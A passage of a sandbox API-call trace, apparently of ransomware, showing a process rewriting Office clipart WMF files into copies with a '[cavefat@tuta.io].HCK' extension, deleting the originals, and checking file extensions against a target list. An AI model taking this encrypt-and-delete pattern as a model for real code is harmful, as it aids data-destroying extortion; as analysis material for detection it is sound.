office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0167.858] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21216) returned 1 [0167.858] CloseHandle (hObject=0x368) returned 1 [0167.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0167.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.868] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.868] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.877] GetLastError () returned 0x0 [0167.877] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x52e0, lpOverlapped=0x0) returned 1 [0167.880] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x52f0, lpOverlapped=0x0) returned 1 [0167.881] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.881] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.881] SetEndOfFile (hFile=0x308) returned 1 [0167.884] CloseHandle (hObject=0x308) returned 1 [0167.886] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.886] SetEndOfFile (hFile=0x330) returned 1 [0167.889] CloseHandle (hObject=0x330) returned 1 [0167.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0167.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.892] lstrlenW (lpString=".doc") returned 4 [0167.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.892] lstrlenW (lpString=".docx") returned 5 [0167.892] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.892] lstrlenW (lpString=".pdf") returned 4 [0167.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.892] lstrlenW (lpString=".xls") returned 4 [0167.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.892] lstrlenW (lpString=".xlsx") returned 5 [0167.892] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.892] lstrlenW (lpString=".ppt") returned 4 [0167.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.892] lstrlenW (lpString=".zip") returned 4 [0167.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.893] lstrlenW (lpString=".rar") returned 4 [0167.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".bz2") returned 4 [0167.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".7z") returned 3 [0167.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".dbf") returned 4 [0167.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".1cd") returned 4 [0167.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".jpg") returned 4 [0167.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".doc") returned 4 [0167.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".docx") returned 5 [0167.893] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.893] lstrlenW (lpString=".pdf") returned 4 [0167.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".xls") returned 4 [0167.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.893] lstrlenW (lpString=".xlsx") returned 5 [0167.893] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.893] lstrlenW (lpString=".ppt") returned 4 [0167.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".zip") returned 4 [0167.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.893] lstrlenW (lpString=".rar") returned 4 [0167.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".bz2") returned 4 [0167.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString=".7z") returned 3 [0167.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".dbf") returned 4 [0167.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".1cd") returned 4 [0167.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0167.893] lstrlenW (lpString=".jpg") returned 4 [0167.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.893] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.894] lstrlenW (lpString="J0107480.WMF") returned 12 [0167.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.895] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6024) returned 1 [0167.895] CloseHandle (hObject=0x308) returned 1 [0167.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0167.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0167.912] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.912] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.916] GetLastError () returned 0x0 [0167.916] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1788, lpOverlapped=0x0) returned 1 [0167.917] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1790, lpOverlapped=0x0) returned 1 [0167.918] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.918] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.918] SetEndOfFile (hFile=0x308) returned 1 [0167.920] CloseHandle (hObject=0x308) returned 1 [0167.921] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.921] SetEndOfFile (hFile=0x368) returned 1 [0167.923] CloseHandle (hObject=0x368) returned 1 [0167.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.927] lstrlenW (lpString=".doc") returned 4 [0167.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".docx") returned 5 [0167.927] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.927] lstrlenW (lpString=".pdf") returned 4 [0167.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".xls") returned 4 [0167.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.927] lstrlenW (lpString=".xlsx") returned 5 [0167.927] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.927] lstrlenW (lpString=".ppt") returned 4 [0167.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.927] lstrlenW (lpString=".zip") returned 4 [0167.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.927] lstrlenW (lpString=".rar") returned 4 [0167.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".bz2") returned 4 [0167.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".7z") returned 3 [0167.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.927] lstrlenW (lpString=".dbf") returned 4 [0167.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".1cd") returned 4 [0167.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".jpg") returned 4 [0167.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".doc") returned 4 [0167.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString=".docx") returned 5 [0167.928] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.928] lstrlenW (lpString=".pdf") returned 4 [0167.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString=".xls") returned 4 [0167.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.928] lstrlenW (lpString=".xlsx") returned 5 [0167.928] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.928] lstrlenW (lpString=".ppt") returned 4 [0167.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".zip") returned 4 [0167.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.928] lstrlenW (lpString=".rar") returned 4 [0167.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString=".bz2") returned 4 [0167.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString=".7z") returned 3 [0167.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".dbf") returned 4 [0167.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".1cd") returned 4 [0167.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0167.928] lstrlenW (lpString=".jpg") returned 4 [0167.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.928] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.928] lstrlenW (lpString="J0107490.WMF") returned 12 [0167.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.931] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16468) returned 1 [0167.931] CloseHandle (hObject=0x308) returned 1 [0167.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0167.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.942] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.942] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.946] GetLastError () returned 0x0 [0167.946] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4054, lpOverlapped=0x0) returned 1 [0167.949] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4060, lpOverlapped=0x0) returned 1 [0167.949] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.950] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.950] SetEndOfFile (hFile=0x39c) returned 1 [0167.953] CloseHandle (hObject=0x39c) returned 1 [0167.953] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.953] SetEndOfFile (hFile=0x308) returned 1 [0167.956] CloseHandle (hObject=0x308) returned 1 [0167.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0167.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.958] lstrlenW (lpString=".doc") returned 4 [0167.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.958] lstrlenW (lpString=".docx") returned 5 [0167.958] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.958] lstrlenW (lpString=".pdf") returned 4 [0167.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString=".xls") returned 4 [0167.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.959] lstrlenW (lpString=".xlsx") returned 5 [0167.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.959] lstrlenW (lpString=".ppt") returned 4 [0167.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".zip") returned 4 [0167.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.959] lstrlenW (lpString=".rar") returned 4 [0167.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString=".bz2") returned 4 [0167.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString=".7z") returned 3 [0167.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".dbf") returned 4 [0167.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".1cd") returned 4 [0167.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".jpg") returned 4 [0167.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".doc") returned 4 [0167.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString=".docx") returned 5 [0167.959] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.959] lstrlenW (lpString=".pdf") returned 4 [0167.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString=".xls") returned 4 [0167.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.959] lstrlenW (lpString=".xlsx") returned 5 [0167.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.959] lstrlenW (lpString=".ppt") returned 4 [0167.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.959] lstrlenW (lpString=".zip") returned 4 [0167.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.959] lstrlenW (lpString=".rar") returned 4 [0167.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString=".bz2") returned 4 [0167.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString=".7z") returned 3 [0167.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.960] lstrlenW (lpString=".dbf") returned 4 [0167.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.960] lstrlenW (lpString=".1cd") returned 4 [0167.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0167.960] lstrlenW (lpString=".jpg") returned 4 [0167.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.960] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.960] lstrlenW (lpString="J0107500.WMF") returned 12 [0167.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.964] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4200) returned 1 [0167.964] CloseHandle (hObject=0x2ec) returned 1 [0167.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: 